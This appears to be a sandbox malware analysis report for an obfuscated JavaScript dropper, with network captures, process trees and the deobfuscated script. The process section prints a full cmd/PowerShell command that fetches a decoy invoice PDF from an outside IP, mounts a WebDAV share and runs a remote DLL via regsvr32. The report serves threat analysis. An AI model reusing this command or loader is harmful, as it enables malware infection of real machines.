Jan 10, 2025 18:23:29.088031054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.088064909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.088099957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.088135004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.088148117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.088148117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.088175058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.088184118 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100269079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100302935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100323915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100358009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100395918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100430012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100466013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100493908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100493908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100501060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100538015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100552082 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100572109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100606918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100622892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100637913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100671053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100687027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100706100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100739002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100744963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.100779057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.100831985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.219969034 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.229476929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.485704899 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.989509106 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.994713068 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.997467041 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.997644901 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:30.002469063 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:30.779011011 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:30.821779013 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:30.979218006 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 18:25:32.116780043 CET	50606	53	192.168.2.9	1.1.1.1
Jan 10, 2025 18:25:32.121678114 CET	53	50606	1.1.1.1	192.168.2.9
Jan 10, 2025 18:25:32.121752977 CET	50606	53	192.168.2.9	1.1.1.1
Jan 10, 2025 18:25:32.121783972 CET	50606	53	192.168.2.9	1.1.1.1
Jan 10, 2025 18:25:32.126657963 CET	53	50606	1.1.1.1	192.168.2.9
Jan 10, 2025 18:25:32.588407993 CET	53	50606	1.1.1.1	192.168.2.9
Jan 10, 2025 18:25:32.631489038 CET	50606	53	192.168.2.9	1.1.1.1
Jan 10, 2025 18:25:32.636516094 CET	53	50606	1.1.1.1	192.168.2.9
Jan 10, 2025 18:25:32.636648893 CET	50606	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:23:37.464406013 CET	57774	53	192.168.2.9	1.1.1.1
Jan 10, 2025 18:25:32.116398096 CET	53	60213	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:37.464406013 CET	192.168.2.9	1.1.1.1	0xc69e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:37.473098040 CET	1.1.1.1	192.168.2.9	0xc69e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:38.234771013 CET	1.1.1.1	192.168.2.9	0xd753	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	193.143.1.205	80	4212	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:23:27.582869053 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:23:28.355818033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:23:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:23:28.355859041 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:23:28.355875015 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:23:28.355886936 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:23:28.355901003 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:23:28.355912924 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:23:28.355926037 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 18:23:28.355938911 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 18:23:28.355956078 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 18:23:28.355967045 CET	224	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 10, 2025 18:23:28.360822916 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	193.143.1.205	8888	3280	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:23:29.997644901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:23:30.779011011 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:23:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:23:23
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js"
Imagebase:	0x7ff674bf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:23:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll
Imagebase:	0x7ff6a9e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:23:24
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:23:24
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:23:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:23:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a9e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:23:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff639cf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:23:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:23:29
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:23:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1592,i,1824818808005025574,11050105164769887958,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function phkfbm() {	phkfbm() ➔ undefined
1	qpvwk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wcnmulb = this[jhukqvo + hduoyac + tqzhrqyz + qkenbms + spbub + zladsu + qkaarjkxb + qjlxx] ( this[wvgintrg + wddpwppit + quahn + tqzhrqyz + sclxzzzb + jhukqvo + qjlxx][wonjdxecr + tqzhrqyz + spbub + hduoyac + qjlxx + spbub + uqlhpt + yppdljygr + uqzpo + spbub + quahn + qjlxx] ( wvgintrg + wddpwppit + quahn + tqzhrqyz + sclxzzzb + jhukqvo + qjlxx + erczh + wddpwppit + kkxfchzr + spbub + isopcvzwh + isopcvzwh ) [tmzsmfiz + spbub + pjljskka + tmzsmfiz + spbub + hduoyac + emvubg] ( rsagef + cytzpf + erfue + vfvof + oihilv + wonjdxecr + xqijnaumi + tmzsmfiz + tmzsmfiz + erfue + wkoenn + nguiovi + oihilv + xqijnaumi + wddpwppit + erfue + tmzsmfiz + ztfevp + wonjdxecr + nehlrtin + qkaarjkxb + qjlxx + tqzhrqyz + nehlrtin + isopcvzwh + ltzzixqw + cdlerso + hduoyac + qkaarjkxb + spbub + isopcvzwh + ztfevp + zladsu + qkaarjkxb + qjlxx + spbub + tqzhrqyz + qkaarjkxb + hduoyac + qjlxx + sclxzzzb + nehlrtin + qkaarjkxb + hduoyac + isopcvzwh + ztfevp + suqjajqp + nehlrtin + quahn + hduoyac + isopcvzwh + spbub ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oskuhdiow = 0 ; oskuhdiow < qpvwk[isopcvzwh + spbub + qkaarjkxb + pjljskka + qjlxx + kkxfchzr] ; ++ oskuhdiow )
4	{
5	if ( wcnmulb == qpvwk[oskuhdiow] )
6	{
7	wcnmulb = true;
8	break ;
9	}
10	}
11	if ( wcnmulb !== true )
12	this[wvgintrg + wddpwppit + quahn + tqzhrqyz + sclxzzzb + jhukqvo + qjlxx][zfrmcwr + uuvimiyve + sclxzzzb + qjlxx] ( );
13	this[wvgintrg + wddpwppit + quahn + tqzhrqyz + sclxzzzb + jhukqvo + qjlxx][wonjdxecr + tqzhrqyz + spbub + hduoyac + qjlxx + spbub + uqlhpt + yppdljygr + uqzpo + spbub + quahn + qjlxx] ( wvgintrg + wddpwppit + quahn + tqzhrqyz + sclxzzzb + jhukqvo + qjlxx + erczh + wddpwppit + kkxfchzr + spbub + isopcvzwh + isopcvzwh ) [tqzhrqyz + uuvimiyve + qkaarjkxb] ( quahn + cntax + emvubg + ltzzixqw + qqfpq + quahn + ltzzixqw + jhukqvo + nehlrtin + qyhjdex + spbub + tqzhrqyz + qkenbms + kkxfchzr + spbub + isopcvzwh + isopcvzwh + erczh + spbub + muhpsoya + spbub + ltzzixqw + fmrdehbh + wonjdxecr + nehlrtin + cntax + cntax + hduoyac + qkaarjkxb + emvubg + ltzzixqw + eavfk + zladsu + qkaarjkxb + ixpzdkau + nehlrtin + oyipww + spbub + fmrdehbh + wvgintrg + spbub + yppdljygr + tmzsmfiz + spbub + szquppwoh + uuvimiyve + spbub + qkenbms + qjlxx + ltzzixqw + fmrdehbh + uqlhpt + uuvimiyve + qjlxx + rddhqmnae + sclxzzzb + isopcvzwh + spbub + ltzzixqw + trndq + qjlxx + spbub + cntax + jhukqvo + trndq + ztfevp + sclxzzzb + qkaarjkxb + ixpzdkau + nehlrtin + sclxzzzb + quahn + spbub + erczh + jhukqvo + emvubg + tmvbv + ltzzixqw + kkxfchzr + qjlxx + qjlxx + jhukqvo + qvzcxmhyl + qqfpq + qqfpq + vpznxnpn + llpktsn + evmtfj + erczh + vpznxnpn + gzwqnow + evmtfj + erczh + vpznxnpn + erczh + yqxxtd + vsolsno + awmdu + qqfpq + sclxzzzb + qkaarjkxb + ixpzdkau + nehlrtin + sclxzzzb + quahn + spbub + erczh + jhukqvo + kkxfchzr + jhukqvo + eavfk + hktxphqk + hktxphqk + qkenbms + qjlxx + hduoyac + tqzhrqyz + qjlxx + ltzzixqw + trndq + qjlxx + spbub + cntax + jhukqvo + trndq + ztfevp + sclxzzzb + qkaarjkxb + ixpzdkau + nehlrtin + sclxzzzb + quahn + spbub + erczh + jhukqvo + emvubg + tmvbv + hktxphqk + hktxphqk + quahn + cntax + emvubg + ltzzixqw + qqfpq + quahn + ltzzixqw + qkaarjkxb + spbub + qjlxx + ltzzixqw + uuvimiyve + qkenbms + spbub + ltzzixqw + ztfevp + ztfevp + vpznxnpn + llpktsn + evmtfj + erczh + vpznxnpn + gzwqnow + evmtfj + erczh + vpznxnpn + erczh + yqxxtd + vsolsno + awmdu + xjcwm + bjydbefy + bjydbefy + bjydbefy + bjydbefy + ztfevp + emvubg + hduoyac + ixpzdkau + qyhjdex + qyhjdex + qyhjdex + tqzhrqyz + nehlrtin + nehlrtin + qjlxx + ztfevp + hktxphqk + hktxphqk + quahn + cntax + emvubg + ltzzixqw + qqfpq + quahn + ltzzixqw + tqzhrqyz + spbub + pjljskka + qkenbms + ixpzdkau + tqzhrqyz + evmtfj + yqxxtd + ltzzixqw + qqfpq + qkenbms + ltzzixqw + ztfevp + ztfevp + vpznxnpn + llpktsn + evmtfj + erczh + vpznxnpn + gzwqnow + evmtfj + erczh + vpznxnpn + erczh + yqxxtd + vsolsno + awmdu + xjcwm + bjydbefy + bjydbefy + bjydbefy + bjydbefy + ztfevp + emvubg + hduoyac + ixpzdkau + qyhjdex + qyhjdex + qyhjdex + tqzhrqyz + nehlrtin + nehlrtin + qjlxx + ztfevp + gzwqnow + evmtfj + yqxxtd + gzwqnow + vpznxnpn + bjydbefy + 